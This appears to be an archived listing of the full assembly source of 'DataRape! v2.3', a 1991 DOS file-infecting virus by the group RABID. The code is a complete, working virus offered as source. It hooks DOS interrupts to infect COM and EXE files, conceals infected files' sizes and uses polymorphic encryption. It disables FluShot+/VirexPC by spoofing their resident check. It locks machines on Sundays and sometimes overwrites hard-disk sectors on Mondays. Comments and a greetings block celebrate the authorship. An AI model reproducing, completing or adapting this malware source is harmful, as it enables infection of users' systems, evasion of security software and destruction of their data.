home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / DTARPE23.ASM < prev    next >
Assembly Source File  |  1992-01-21  |  31KB  |  1,109 lines

  1. @b      macro   char
  2.         mov     ah,0eh
  3.         mov     al,char
  4.         int     10h
  5. endm
  6. ;---
  7. ; DataRape! v2.3 Source Code
  8. ;
  9. ; Written by Zodiac and Data Disruptor
  10. ;
  11. ; (C) 1991 RABID International Development Corp
  12. ; (Aug.14.91)
  13. ;---
  14. ;
  15. ; Note: Assuming that and infected COMMAND.COM was booted, FSP/VirexPC will
  16. ;       not be able to go resident under this version of DataRape!
  17. ;
  18. ;---
  19.  
  20. code         segment
  21.          assume     cs:code,ds:code,es:code
  22.  
  23. v:                                      ; All Pre-Resident Offsets Based
  24.                     ; upon this location
  25.  
  26. startup:
  27.          call       relative
  28. relative:
  29.          pop        si
  30.          sub        si,offset relative
  31.          mov        bp,si
  32.          cld
  33.  
  34.          push       ax                      ;
  35.          push       es                      ; Saves registers
  36.          push       si                      ;
  37.          push       ds                      ;
  38.              mov        ah,2ah                  ; Get system time
  39.              int        21h
  40.              cmp        al,0
  41.              jne        are_we_here_boost
  42.              jmp        its_sunday
  43.  
  44. are_we_here_boost:
  45.              jmp   are_we_here
  46.  
  47. ;---
  48. ; If it's Sunday, then we display a message and lock the system
  49. ;---
  50. its_sunday:
  51.              mov        ah,01h
  52.              mov        cx,2020h
  53.              int        10h                     ;NUL the cursor
  54.  
  55.              mov        ah,02h                  ;Moves the cursor
  56.              xor        dx,dx
  57.              int        10h
  58.  
  59.              xor        ax,ax                   ;Clears the screen
  60.              int        10h
  61.  
  62.              @b         "I"
  63.              @b         "t"
  64.              @b         "'"
  65.              @b         "s"
  66.              @b         " "
  67.              @b         "S"
  68.              @b         "u"
  69.              @b         "n"
  70.              @b         "d"
  71.              @b         "a"
  72.              @b         "y"
  73.              @b         "."
  74.              @b         " "
  75.              @b         "W"
  76.              @b         "h"
  77.              @b         "y"
  78.              @b         " "
  79.              @b         "a"
  80.              @b         "r"
  81.              @b         "e"
  82.              @b         " "
  83.              @b         "y"
  84.              @b         "o"
  85.              @b         "u"
  86.              @b         " "
  87.              @b         "w"
  88.              @b         "o"
  89.              @b         "r"
  90.              @b         "k"
  91.              @b         "i"
  92.              @b         "n"
  93.              @b         "g"
  94.              @b         "?"
  95.              @b         13
  96.              @b         10
  97.              @b         "T"
  98.              @b         "a"
  99.              @b         "k"
  100.              @b         "e"
  101.              @b         " "
  102.              @b         "t"
  103.              @b         "h"
  104.              @b         "e"
  105.              @b         " "
  106.              @b         "d"
  107.              @b         "a"
  108.              @b         "y"
  109.              @b         " "
  110.              @b         "o"
  111.              @b         "f"
  112.              @b         "f"
  113.              @b         " "
  114.              @b "c"
  115.              @b "o"
  116.              @b "m"
  117.              @b "p"
  118.              @b "l"
  119.              @b "i"
  120.              @b "m"
  121.              @b "e"
  122.              @b "n"
  123.              @b "t"
  124.              @b "s"
  125.              @b " "
  126.              @b "o"
  127.              @b "f"
  128.              @b " "
  129.              @b "R"
  130.              @b "A"
  131.              @b "B"
  132.              @b "I"
  133.              @b "D"
  134.              @b 7
  135.  
  136.  
  137. im_looped:   jmp        im_looped
  138.  
  139. are_we_here:
  140.              mov    ax,6969h                ; Check to see if we are
  141.          int    21h                     ; Allready resident
  142.          cmp    bx,6969h
  143.          je            already_here            ; Yes? Then leave the program
  144.          jmp    after_trish
  145.  
  146. db         13,10,'Patricia Boon',13,10
  147.  
  148. after_trish:
  149.          xor        ax,ax                               ;
  150.          mov        ds,ax                               ; Loads Current
  151.          les        ax,ds:[21h*4]                       ; Int 21h Vector
  152.          mov        word ptr cs:[si+save_int_21],ax     ;
  153.          mov        word ptr cs:[si+save_int_21+2],es   ;
  154.              push       cs
  155.              pop        ds
  156.              jmp        load_mem
  157. already_here:
  158.          pop        es                                  ; If, exit
  159. go_go_program:                                              ;
  160.          jmp        go_program                          ;
  161.  
  162. exit_exe:
  163.          mov        bx,es                               ;
  164.          add        bx,10h                              ; E
  165.          add        bx,word ptr cs:[si+call_adr+2]      ; X
  166.          mov        word ptr cs:[si+patch+2],bx         ; E
  167.          mov        bx,word ptr cs:[si+call_adr]        ;
  168.          mov        word ptr cs:[si+patch],bx           ; E
  169.          mov        bx,es                               ; X
  170.          add        bx,10h                              ; I
  171.          add        bx,word ptr cs:[si+stack_pointer+2] ; T
  172.          mov        ss,bx                               ; I
  173.          mov        sp,word ptr cs:[si+stack_pointer]   ; N
  174.          db         0eah                                ; G
  175. patch:                                                      ;
  176.          dd         0                                   ;
  177.       
  178. ; Below should be changed to:
  179. ; exit_com: xor bx,bx
  180. ;           push bx
  181. ;           mov di,100h
  182. ;           push di
  183. ;           add si,offset my_save
  184. ;           movsb
  185. ;           movsw
  186. ;           ret
  187.  
  188. exit_com:
  189.          mov        di,100h                             ; EXIT
  190.          add        si,offset my_save                   ; COM
  191.          movsb                                          ;
  192.          movsw                                          ;
  193.          xor        bx,bx                               ;
  194.          push       bx                                  ;
  195.          jmp        [si-11]                             ;
  196.  
  197. ;---
  198. ; Here is where we load ourselves into memory
  199. ;---
  200.  
  201. load_mem:
  202.          pop        es
  203.          mov        ah,49h                  ; Release memory
  204.          int        21h
  205.          mov        bx,0ffffh               ; Set memory for FFFFh
  206.                                                 ; paragraphs
  207.          mov        ah,48h                  ; Allocate memory for
  208.                                                 ; ourselves
  209.          int        21h
  210.          sub        bx,(top_bz+my_bz+1ch-1)/16+2
  211.          jc         go_go_program
  212.          mov        cx,es
  213.          stc
  214.          adc        cx,bx
  215.          mov        ah,4ah                  ; Modify memory allocation
  216.          int        21h
  217.          mov        bx,(offset top_bz+offset my_bz+1ch-1)/16+1
  218.          stc
  219.          sbb        es:[2],bx
  220.          push       es
  221.          mov        es,cx
  222.          mov        ah,4ah
  223.          int        21h
  224.          mov        ax,es
  225.          dec        ax
  226.          mov        ds,ax
  227.          mov        word ptr ds:[1],8
  228.          call       mul_16
  229.          mov        bx,ax
  230.          mov        cx,dx
  231.          pop        ds
  232.          mov        ax,ds
  233.          call       mul_16
  234.          add        ax,ds:[6]
  235.          adc        dx,0
  236.          sub        ax,bx
  237.          sbb        dx,cx
  238.          jc         mem_ok
  239.          sub        ds:[6],ax            ; This section look familiar?
  240. mem_ok:
  241.          pop        si
  242.          push       si
  243.          push       ds
  244.          push       cs
  245.          xor        di,di
  246.          mov        ds,di
  247.          lds        ax,ds:[27h*4]
  248.          mov        word ptr cs:[si+save_int_27],ax
  249.          mov        word ptr cs:[si+save_int_27+2],ds
  250.          pop        ds
  251.          mov        cx,offset aux_size
  252.          rep        movsb
  253.          xor        ax,ax
  254.          mov        ds,ax
  255.          mov        ds:[21h*4],offset int_21
  256.          mov        ds:[21h*4+2],es
  257.          mov        ds:[27h*4],offset int_27
  258.          mov        ds:[27h*4+2],es
  259.          mov        word ptr es:[filehndl],ax
  260.          pop        es
  261. go_program:
  262.              mov        ah,30h                  ; Get DOS version number
  263.              int        21h
  264.              cmp        al,4                    ;
  265.              jae        check_date              ; If >= 4 then check the date
  266.              jmp        no_fry                  ; NOT?! Then continue with
  267.                                                 ; virus
  268. check_date:  mov        ah,2ah                  ; Get system time
  269.              int        21h
  270.              cmp        al,1                    ; Is it a monday?
  271.              je         randomizer
  272.              jmp        no_fry
  273. ;---
  274. ; If we actually get here, then we have a one in 15 chance that we will fry
  275. ; the hard-drive. You may ask yourself, "Why do you go through all the
  276. ; trouble?". Easy, because the main priority here is spreading, and not
  277. ; fucking up data...
  278. ;---
  279.  
  280. randomizer:
  281.              mov        ah,2ch                  ; Get system time
  282.              int        21h
  283.              and        dl,0fh
  284.              or         dl,dl
  285.              jnz        no_fry
  286.              jmp        write_short
  287.  
  288. no_fry:      pop        si                      ; Restore registers
  289.          pop        ds
  290.          pop        ax
  291.          cmp        word ptr cs:[si+my_save],5a4dh ; Is it an EXE file?
  292.          jne        go_exit_com             ; No? Then must be a COM file.
  293.          jmp        exit_exe                ; Yes! Exit an EXE file
  294. go_exit_com:
  295.          jmp        exit_com
  296.  
  297. int_27:
  298.          pushf                                      ; Allocates Memory,
  299.          call       alloc                           ; So TSR can load
  300.          popf                                       ;
  301.          jmp        dword ptr cs:[save_int_27]      ;
  302.  
  303. ;---
  304. ; This routine will return our ID byte in BX if we are resident.
  305. ;---
  306. weare_here:
  307.          popf
  308.          xor        ax,ax
  309.          mov        bx,6969h                        ; ID Register
  310.          iret
  311.      
  312. int_21:
  313.          push       bp
  314.          mov        bp,sp
  315.          push       [bp+6]
  316.          popf
  317.          pop        bp                              ; Set Up Stack
  318.  
  319.          pushf                                      ; Save Flag
  320.          cld
  321.          cmp        ax,6969h
  322.          je         weare_here
  323.  
  324.          cmp        ah,11h                          ; Hide In
  325.          jb         not_hide                        ; Directory
  326.          cmp        ah,12h                          ; Listing
  327.          ja         not_hide                        ;
  328. fcb_find:
  329.           call      dword ptr cs:[save_int_21]
  330.           push      ax
  331.           push      bx
  332.           push      ds
  333.           push      es
  334.           pushf
  335.  
  336.           cmp       al,0FFh
  337.           je        done_hide                      ; Not There?
  338.  
  339.           mov       ah,2Fh
  340.           int       21h                            ; Get Size
  341.           push      es
  342.           pop       ds
  343.           cmp       byte ptr es:[bx],0FFh          ; Extended FCB?
  344.           jne       not_extended
  345.           add       bx,7
  346. not_extended:
  347.           mov       ax,es:[bx+17h]
  348.           and       ax,1Fh
  349.           cmp       ax,1Fh                         ; Check Time Stamp
  350.  
  351. ;--
  352. ; Checking to see if the file is with a 62 seconds filestamp...
  353. ;--
  354.  
  355.           jne       done_hide               ; No? Then the file is not
  356.                         ; infected. Leave it alone...
  357.  
  358. ;--
  359. ; If we get here, then we've deduced that the file is indeed infected.
  360. ; Therefore, we must reduce the filesize from the DTA in order to show that it
  361. ; is "not infected"
  362. ;--
  363.           sub       word ptr es:[bx+1Dh],offset top_file
  364.           sbb       word ptr es:[bx+1Dh+2],0       ; Decrease Size
  365.  
  366. ;---
  367. ; Finished hiding, restore the resigers we saved, and return to the INT
  368. ; whence we came from...
  369. ;---
  370.  
  371. done_hide:
  372.           popf
  373.           pop       es
  374.           pop       ds
  375.           pop       bx
  376.           pop       ax
  377.           iret
  378.  
  379. ;--
  380. ; Function differentiation happens here...
  381. ;--
  382.  
  383. directory:
  384.          jmp   fcb_find
  385.  
  386. weare_here_boost:
  387.          jmp     weare_here
  388.  
  389. ;---
  390. ; If FluShot+ or VirexPC are trying to go resident, then tell them that
  391. ; we "allready are" resident
  392. ;---
  393.  
  394. fsp_trying:
  395.          popf
  396.          mov    ax,101h                   ;Set FSP/Virex ID byte
  397.          iret
  398.  
  399. not_hide:
  400.          cmp     ax,0ff0fh
  401.          je      fsp_trying
  402.          cmp     ah,3ch                  ; Are we creating a file?
  403.          je      create
  404.          cmp     ah,3dh                  ; Open file handle?
  405.          je      touch
  406.      cmp     ah,3eh                  ; Are we closing a file?
  407.      je      close
  408.          cmp     ah,43h                  ; Get/Set file attributes?
  409.          je      touch
  410.      cmp     ax,4b00h                ; Are we executing a file?
  411.      je      touch
  412.          cmp     ax,6969h                ; Checking if we are resident?
  413.          je      weare_here_boost
  414.      cmp     ah,5bh                  ; Creating a file?
  415.      jne     not_create
  416.  
  417. create:
  418.          cmp        word ptr cs:[filehndl],0
  419.          jne        dont_touch
  420.          call       see_name
  421.          jnz        dont_touch
  422.          call       alloc
  423.          popf
  424.          call       function
  425.          jc         int_exit
  426.          pushf
  427.          push       es
  428.          push       cs
  429.          pop        es
  430.          push       si
  431.          push       di
  432.          push       cx
  433.          push       ax
  434.          mov        di,offset filehndl
  435.          stosw
  436.          mov        si,dx
  437.          mov        cx,65
  438. move_name:
  439.          lodsb
  440.          stosb
  441.          test       al,al
  442.          jz         all_ok
  443.          loop       move_name
  444.          mov        word ptr es:[filehndl],cx
  445.              jmp        all_ok
  446.  
  447. touch:
  448.              jmp   try_infect
  449.  
  450. all_ok:
  451.          pop        ax
  452.          pop        cx
  453.          pop        di
  454.          pop        si
  455.          pop        es
  456. go_exit:
  457.          popf
  458.          jnc        int_exit
  459. close:
  460.          cmp        bx,word ptr cs:[filehndl]
  461.          jne        dont_touch
  462.          test       bx,bx
  463.          jz         dont_touch
  464.          call       alloc
  465.          popf
  466.          call       function
  467.          jc         int_exit
  468.          pushf
  469.          push       ds
  470.          push       cs
  471.          pop        ds
  472.          push       dx
  473.          mov        dx,offset filehndl+2
  474.          call       do_file
  475.          mov        word ptr cs:[filehndl],0
  476.          pop        dx
  477.          pop        ds
  478.          jmp        go_exit
  479. not_create:
  480.          cmp        ah,3dh
  481.          je         touch
  482.          cmp        ah,43h
  483.          je         touch
  484.          cmp        ah,56h
  485.          jne        dont_touch
  486. try_infect:
  487.          call       see_name
  488.          jnz        dont_touch
  489.          call       do_file
  490. dont_touch:
  491.          call       alloc
  492.          popf
  493.          call       function
  494. int_exit:
  495.          pushf
  496.          push       ds
  497.          call       get_chain
  498.          mov        byte ptr ds:[0],'Z'
  499.          pop        ds
  500.          popf
  501. dummy        proc       far                             ; This is absolutely
  502.          ret        2                               ; needed, IRET
  503. dummy        endp                                       ; doesn't cut it
  504.  
  505. see_name:
  506.          push       ax
  507.          push       si
  508.          mov        si,dx
  509.  
  510. ;--
  511. ; Here's a crude yet effective way of scanning the file handle in order to see
  512. ; what type of file it is...
  513. ;
  514. ; (NOTE: We make up for crudeity later by checking the first two bytes of the
  515. ;  file to see if it is a COM or EXE file (4d5a))
  516. ;--
  517.  
  518. scan_name:
  519.          lodsb
  520.          test       al,al
  521.          jz         bad_name
  522.          cmp        al,'.'
  523.          jnz        scan_name
  524.          call       get_byte
  525.          mov        ah,al
  526.          call       get_byte
  527.          cmp        ax,'co'
  528.          jz         pos_com
  529.          cmp        ax,'ex'
  530.          jnz        good_name
  531.          call       get_byte
  532.          cmp        al,'e'
  533.          jmp        short good_name
  534. pos_com:
  535.          call       get_byte
  536.          cmp        al,'m'
  537.          jmp        short good_name
  538. bad_name:
  539.          inc        al
  540. good_name:
  541.          pop        si
  542.          pop        ax
  543.          ret
  544.       
  545. get_byte:
  546.          lodsb
  547.          cmp        al,'C'
  548.          jc         byte_got
  549.          cmp        al,'Y'
  550.          jnc        byte_got
  551.          add        al,20h
  552. byte_got:
  553.          ret
  554.       
  555. function:
  556.          pushf
  557.          call       dword ptr cs:[save_int_21]
  558.          ret
  559.       
  560. do_file:
  561.          push       ds
  562.          push       es
  563.          push       si
  564.          push       di
  565.          push       ax
  566.          push       bx
  567.          push       cx
  568.          push       dx
  569.          xor        cx,cx
  570.          mov        ax,4300h
  571.          call       function
  572.          mov        bx,cx
  573.          and        cl,0feh
  574.          cmp        cl,bl
  575.          je         dont_change
  576.          mov        ax,4301h
  577.          call       function
  578.          stc
  579. dont_change:
  580.          pushf
  581.          push       ds
  582.          push       dx
  583.          push       bx
  584.          mov        ax,3d02h
  585.          call       function
  586.          jc         cant_open
  587.          mov        bx,ax
  588.          call       disease
  589.          mov        ah,3eh
  590.  
  591.          call       function
  592. cant_open:
  593.          pop        cx
  594.          pop        dx
  595.          pop        ds
  596.          popf
  597.          jnc        no_update
  598.          mov        ax,4301h
  599.          call       function
  600. no_update:
  601.          pop        dx
  602.          pop        cx
  603.          pop        bx
  604.          pop        ax
  605.          pop        di
  606.          pop        si
  607.          pop        es
  608.          pop        ds
  609.          ret
  610.       
  611. disease:
  612.          push       cs
  613.          pop        ds
  614.          push       cs
  615.          pop        es
  616.          mov        dx,offset top_save
  617.          mov        cx,18h
  618.          mov        ah,3fh
  619.          int        21h
  620.          xor        cx,cx
  621.          xor        dx,dx
  622.          mov        ax,4202h
  623.          int        21h
  624.          mov        word ptr [top_save+1ah],dx
  625.          cmp        ax,offset top_file
  626.          sbb        dx,0
  627.          jc         stop_infect
  628.          mov        word ptr [top_save+18h],ax
  629.  
  630.          mov        ax,5700h
  631.          int        21h                             ; Check if Infected
  632.          and        cx,1Fh
  633.          cmp        cx,1Fh
  634.          je         stop_infect
  635.          xor        cx,cx
  636.          xor        dx,dx
  637.          mov        ax,4202h
  638.          int        21h
  639.          cmp        word ptr [top_save],5a4dh
  640.          je         fuck_exe
  641.          add        ax,offset aux_size+200h
  642.          adc        dx,0
  643.          je         fuck_it
  644. stop_infect: ret
  645.       
  646. fuck_exe:
  647.          mov        dx,word ptr [top_save+18h]
  648.          neg        dl
  649.          and        dx,0fh
  650.          xor        cx,cx
  651.          mov        ax,4201h
  652.          int        21h
  653.          mov        word ptr [top_save+18h],ax
  654.          mov        word ptr [top_save+1ah],dx
  655. fuck_it:
  656.          mov        ax,5700h
  657.          int        21h
  658.          pushf
  659.          push       cx
  660.          push       dx
  661.          cmp        word ptr [top_save],5a4dh
  662.          je         exe_file
  663.          mov        ax,100h
  664.          jmp        short set_adr
  665. exe_file:
  666.          mov        ax,word ptr [top_save+14h]
  667.          mov        dx,word ptr [top_save+16h]
  668. set_adr:
  669.          mov        di,offset call_adr
  670.          stosw
  671.          mov        ax,dx
  672.          stosw
  673.          mov        ax,word ptr [top_save+10h]
  674.          stosw
  675.          mov        ax,word ptr [top_save+0eh]
  676.          stosw
  677.          mov        si,offset top_save
  678.          movsb
  679.          movsw
  680.  
  681. copy_body:
  682.          xor        si,si
  683.          mov        di,offset body
  684.          mov        cx,offset top_file
  685.          rep        movsb                           ; Copies virus
  686.                             ; body to buffer
  687.  
  688. enc_body:    mov        si,offset body
  689.          mov        di,si
  690.  
  691. ;**************************
  692. ;* CHANGE ENCRYPTION BASE *
  693. ;**************************
  694.  
  695.          mov        ah,2Ch                  ;Get system time
  696.          int        21h
  697.          mov        byte ptr [enc_base_1],dl
  698.          mov        byte ptr [body-v+enc_base_2],dl
  699.  
  700. ;****************************
  701. ;* CHANGE ENCRYPTION METHOD *
  702. ;****************************
  703.  
  704.          call       yes_no
  705.          jc         ror_rol
  706. rol_ror:     mov        ax,0C0C8h
  707.          jmp        short set_method
  708. ror_rol:     mov        ax,0C8C0h
  709. set_method:  mov        byte ptr [enc_meth_1],ah
  710.          mov        byte ptr [body-v+enc_meth_2],al
  711.  
  712. ;*******************************
  713. ;* FLIP SOME REGISTERS, PART 1 *
  714. ;*******************************
  715.  
  716.          call       yes_no
  717.          jc         es_ds
  718. ds_es:       mov        ax,1F07h
  719.          jmp        short set_pops
  720. es_ds:       mov        ax,071Fh
  721. set_pops:    mov        byte ptr [body-v+pop_1],ah
  722.          mov        byte ptr [body-v+pop_2],al
  723.  
  724. ;*******************************
  725. ;* FLIP SOME REGISTERS, PART 2 *
  726. ;*******************************
  727.  
  728. ;---
  729. ; Zodiac has informed me that there is an error in the following routine
  730. ; he has advised me to coment it out until he fixes the bug
  731. ;---
  732.  
  733. ;    call       yes_no
  734. ;    jc         di_di_si
  735. ;si_si_di:
  736. ;    mov        ax,5EEEh
  737. ;    mov        dl,0F7h
  738. ;    jmp        short set_switch
  739. ;di_di_si:
  740. ;    mov        ax,5FEFh
  741. ;    mov        dl,0FEh
  742. ;set_switch: 
  743. ;    mov        byte ptr [switch_1],ah
  744. ;    mov        byte ptr [switch_2],al
  745. ;    mov        byte ptr [switch_3],dl
  746.  
  747. ;*******************************
  748. ;* FLIP SOME REGISTERS, PART 3 *
  749. ;*******************************
  750.  
  751.          mov        al,56h
  752.          call       yes_no
  753.          jc         set_push
  754.          inc        al
  755. set_push:    mov        byte ptr [push_1],al
  756.  
  757. ;*******************************
  758. ;* FLIP SOME REGISTERS, PART 4 *
  759. ;*******************************
  760.  
  761.          call       yes_no
  762.          jc         set_dl
  763. set_dh:      mov        ax,0B6F1h
  764.          mov        dl,0C6h
  765.          jmp        short set_inc
  766. set_dl:      mov        ax,0B2D1h
  767.          mov        dl,0C2h
  768. set_inc:     mov        byte ptr [inc_1],ah
  769.          mov        byte ptr [inc_2],al
  770.          mov        byte ptr [inc_3],dl
  771.  
  772. ;*******************************
  773. ;* FLIP SOME REGISTERS, PART 5 *
  774. ;*******************************
  775.  
  776.          call       yes_no
  777.          jc         ds_ax
  778. ax_ds:       mov        ax,1E50h
  779.          mov        dx,581Fh
  780.          jmp        short set_push_2
  781. ds_ax:       mov        ax,501Eh
  782.          mov        dx,1F58h
  783. set_push_2:  mov        word ptr [push_2_1],ax
  784.          mov        word ptr [push_2_2],dx
  785.  
  786.          db         0B2h
  787. enc_base_1:  db         00h                             ; General ENC Base
  788.  
  789.          mov        cx,offset un_enc
  790.  
  791. enc_loop:    lodsb
  792.          push       cx
  793.          mov        cl,dl
  794.          inc        dl
  795. ;---
  796. ; What is the meaning of this???
  797. ;---
  798.  
  799.          db         0D2h
  800. enc_meth_1:  db         0C0h
  801.          pop        cx
  802.          stosb
  803.          loop       enc_loop                        ; Encrypto
  804.  
  805.          mov        dx,offset body
  806.          mov        cx,offset top_file
  807.          mov        ah,40h
  808.          int        21h                             ; Write Body
  809.  
  810.          jc         go_no_fuck
  811.          xor        cx,ax
  812.          jnz        go_no_fuck
  813.          mov        dx,cx
  814.          mov        ax,4200h
  815.          int        21h
  816.          cmp        word ptr [top_save],5a4dh
  817.          je         do_exe
  818.          mov        byte ptr [top_save],0e9h
  819.          mov        ax,word ptr [top_save+18h]
  820.  
  821. ;****** Below Sets the JMP so to go to the Unencryption Portion of the Virus
  822. ;****** This Doesn't happen when this is first compiled, an infection
  823. ;****** Needs to occur
  824.          
  825.          add        ax,un_enc-v-3
  826.  
  827. ;******
  828.          
  829.          mov        word ptr [top_save+1],ax
  830.          mov        cx,3
  831.          jmp        short write_header
  832. go_no_fuck:
  833.          jmp        short no_fuck_boost
  834.  
  835. yes_no:      push       ax
  836.          mov        ah,2Ch                  ;Get system time
  837.          int        21h
  838.          pop        ax                      ;Save AX
  839.          test       dl,1                    ;Are the 100ths of seconds 1
  840.          jpe        set_yes                 ;If parity is equal, SET_YES
  841. set_no:      clc                                ;Clear carry flag
  842.          ret
  843. set_yes:     stc                                ;Set carry flag
  844.          ret
  845.              jmp        do_exe
  846.  
  847. no_fuck_boost:
  848.               jmp       no_fuck
  849.  
  850. ;---
  851. ; Construct the    .EXE file's header
  852. ;---    
  853.   
  854. do_exe:
  855.          mov        ax,word ptr [top_save+8]
  856.          call       mul_16
  857.      
  858.          not        ax
  859.          not        dx
  860.          inc        ax
  861.          jne        calc_offs
  862.          inc        dx
  863. calc_offs:
  864.          add        ax,word ptr [top_save+18h]
  865.          adc        dx,word ptr [top_save+1ah]
  866.          mov        cx,10h
  867.          div        cx
  868.  
  869. ;****** Below Sets the Calling Address to the Unencryption Portion of the
  870. ;****** Virus This Doesn't happen when this is first compiled, an infection
  871. ;****** Needs to occur
  872.          
  873.          mov        word ptr [top_save+14h],un_enc-v
  874.  
  875. ;******
  876.          mov        word ptr [top_save+16h],ax
  877.          add        ax,(offset top_file-offset v-1)/16+1
  878.          mov        word ptr [top_save+0eh],ax
  879.          mov        word ptr [top_save+10h],100h
  880.          add        word ptr [top_save+18h],offset top_file
  881.          adc        word ptr [top_save+1ah],0
  882.          mov        ax,word ptr [top_save+18h]
  883.          and        ax,1ffh
  884.          mov        word ptr [top_save+2],ax
  885.          pushf
  886.          mov        ax,word ptr [top_save+19h]
  887.          shr        byte ptr [top_save+1bh],1
  888.          rcr        ax,1
  889.          popf
  890.          jz         update_len
  891.          inc        ax
  892. update_len:
  893.          mov        word ptr [top_save+4],ax
  894.          mov        cx,18h
  895. write_header:
  896.          mov        dx,offset top_save
  897.          mov        ah,40h
  898.          int        21h
  899.          pop       dx
  900.          pop       cx
  901.          and       cx,0FFE0h
  902.          or        cx,1Fh
  903.          jmp       short time_got                   ; Mark Time Stamp
  904.  
  905. db    13,10,"Free Flash Force!!!",13,10
  906.  
  907. no_fuck:
  908.          pop        dx
  909.          pop        cx
  910. time_got:    popf
  911.          jc         stop_fuck
  912.          mov        ax,5701h
  913.          int        21h
  914. stop_fuck:
  915.          ret
  916.       
  917. alloc:
  918.          push       ds
  919.          call       get_chain
  920.          mov        byte ptr ds:[0],'M'
  921.          pop        ds
  922.          ret
  923.      
  924. get_chain:
  925.          push       ax
  926.          push       bx
  927.          mov        ah,62h
  928.          call       function
  929.          mov        ax,cs
  930.          dec        ax
  931.          dec        bx
  932. next_blk:
  933.          mov        ds,bx
  934.          stc
  935.          adc        bx,ds:[3]
  936.          cmp        bx,ax
  937.          jc         next_blk
  938.          pop        bx
  939.          pop        ax
  940.          ret
  941.       
  942. mul_16:
  943.          mov        dx,10h
  944.          mul        dx
  945.          ret
  946.  
  947. kill:   call    kill_rel
  948.  
  949. kill_rel:
  950.     pop     si
  951.     jmp    write_short
  952.  
  953. re_do:
  954.     mov     byte ptr [sector],1             ; Reset sector count to 1
  955.     inc     byte ptr [track]                ; Increment next track
  956.     jmp     fuck_drive                      ; Fuck it...
  957.  
  958. ;---
  959. ; This routine is very nasty!!!
  960. ;---
  961.  
  962. write_short:
  963.     push    cs
  964.     pop    ds
  965.     cmp     byte ptr [track],40
  966.     jae     reboot
  967.     cmp     byte ptr [sector],9
  968.     ja      re_do
  969.  
  970. fuck_drive:
  971.     mov     ah,03h                          ; Write disk sectors
  972.     mov     al,9                            ; Xfer 9 sectors
  973.     mov     bx,offset header                ; Set for buffer
  974.     mov     ch,byte ptr [track]             ; Set for track [track]
  975.     mov     cl,byte ptr [sector]            ; Set for sector [sector]
  976.     mov     dh,0                            ; Set for head 0
  977.     mov     dl,2                            ; Set for first fixed drive
  978.  
  979.     int     13h
  980.  
  981.     inc     byte ptr [sector]
  982.     jmp     write_short
  983.  
  984. ;---
  985. ; This code will cold boot the CPU with a memory check
  986. ;---
  987.  
  988. reboot:
  989.     mov    ax,0040h
  990.     mov    ds,ax
  991.     mov    ax,07f7fh
  992.     mov    ds:[0072],ax
  993. db    0eah,00h,00h,0ffh,0ffh            ; JMP FFFF:0000
  994.  
  995. header    db    "------------------",13,10
  996.     db      "  DataRape! v2.2  ",13,10
  997.     db      "    By Zodiac     ",13,10
  998.     db      "and Data Disruptor",13,10
  999.         db      "                  ",13,10
  1000.     db    "  (c) 1991 RABID  ",13,10
  1001.         db      "Int'nl Development",13,10
  1002.         db      "       Corp.      ",13,10
  1003.     db    "------------------",13,10
  1004.  
  1005. greetings db     13,10
  1006.          db     "Greetings to The Dark Avenger, Tudor Todorov, Patricia Hoffman",13,10
  1007.          db     "(Get your articles correct for a change... Maybe we should write",13,10
  1008.          db     "for you...), John McAfee (Who wouldn't be where he is today if it",13,10
  1009.          db     "were not for people like us...), PCM2 (Get your ass back in gear dude!)",13,10
  1010.          db     "ProTurbo, MadMan, Rick Dangerous, Elrond Halfelven, The Highwayman,",13,10
  1011.          db     "Optical Illusion, The (Real) Gunslinger, Patricia (SMOOCH), The GateKeeper,",13,10
  1012.          db     "Sledge Hammer (Let's hope you don't get hit by this one 3 times), Delko,",13,10
  1013.          db     "Paul 'Jougensen' & Mike 'Hunt' (And whoever else was there to see Chris & Cosy)",13,10
  1014.          db     "the entire Bulgarian virus factory, and any others whom we may have missed...",13,10
  1015.          db     " Remember: Winners don't use drugs! Someone card me a lifesign though...",13,10
  1016.          db     13,10
  1017.          db     "(c) 1991 The RABID International Development Corp."
  1018.  
  1019. call_adr:
  1020.          dd         100h
  1021. stack_pointer:
  1022.          dd         0
  1023. my_save:
  1024.          int        20h
  1025.          nop
  1026.  
  1027. ;**** UnEncryption Below
  1028.  
  1029. un_enc:      call       enc_rel
  1030. enc_rel:     pop        si
  1031. rel_sub:     sub        si,offset enc_rel
  1032.  
  1033. ;---
  1034. ; Note: These are the only bytes which are constant throughout any infection
  1035. ;---
  1036.  
  1037. rel_copy:    mov        di,si
  1038.  
  1039. push_1:      push       si
  1040.  
  1041. push_2_1:    push       ax
  1042.          push       ds
  1043.          push       es
  1044.  
  1045.          push       cs
  1046. pop_1:       pop        ds;-
  1047.  
  1048.          push       cs
  1049. pop_2:       pop        es;-
  1050.  
  1051. ;---
  1052. ; The constant bytes end here. (There are only 10 bytes...)
  1053. ;---
  1054. inc_1:       db         0B2h
  1055.  
  1056. enc_base_2:  db         00h
  1057.          mov        cx,offset un_enc
  1058. un_enc_loop: lodsb
  1059.          push       cx
  1060.          db         88h
  1061. inc_2:       db         0D1h
  1062.  
  1063.          db         0D2h
  1064. enc_meth_2:  db         0C8h
  1065.  
  1066.          db         0FEh
  1067. inc_3:       db         0C2h
  1068.          pop        cx
  1069.          stosb
  1070.          loop       un_enc_loop
  1071.  
  1072.          pop        es
  1073. push_2_2:    pop        ds
  1074.          pop        ax
  1075.          ret
  1076.  
  1077. sector  db      1            ; Count of sectors that have been fried
  1078. track   db      0            ; Count of tracks that have been fried
  1079.  
  1080. top_file:
  1081. save_int_21  equ        $
  1082. save_int_27  equ        save_int_21+4
  1083. filehndl     equ        save_int_27+4
  1084. filename     equ        filehndl+2
  1085. aux_size     equ        filename+65
  1086. top_save     equ        filename+65
  1087. body         equ        top_save+1Ch
  1088. top_bz       equ        top_save-v
  1089. my_bz        equ        top_file-v
  1090. switch_1     equ        enc_rel
  1091. switch_2     equ        rel_sub+1
  1092. switch_3     equ        rel_copy+1
  1093.  
  1094. ;dta          equ        aux_size
  1095. ; dta_attr    equ        dta+21
  1096. ; dta_time    equ        dta+22
  1097. ; dta_date    equ        dta+24
  1098. ; dta_size_lo equ        dta+26
  1099. ; dta_size_hi equ        dta+28
  1100. ; dta_name    equ        dta+30
  1101. ;
  1102.  
  1103. code    ends
  1104.          end
  1105.  
  1106. ;--
  1107. ; End of virus
  1108. ;--
  1109.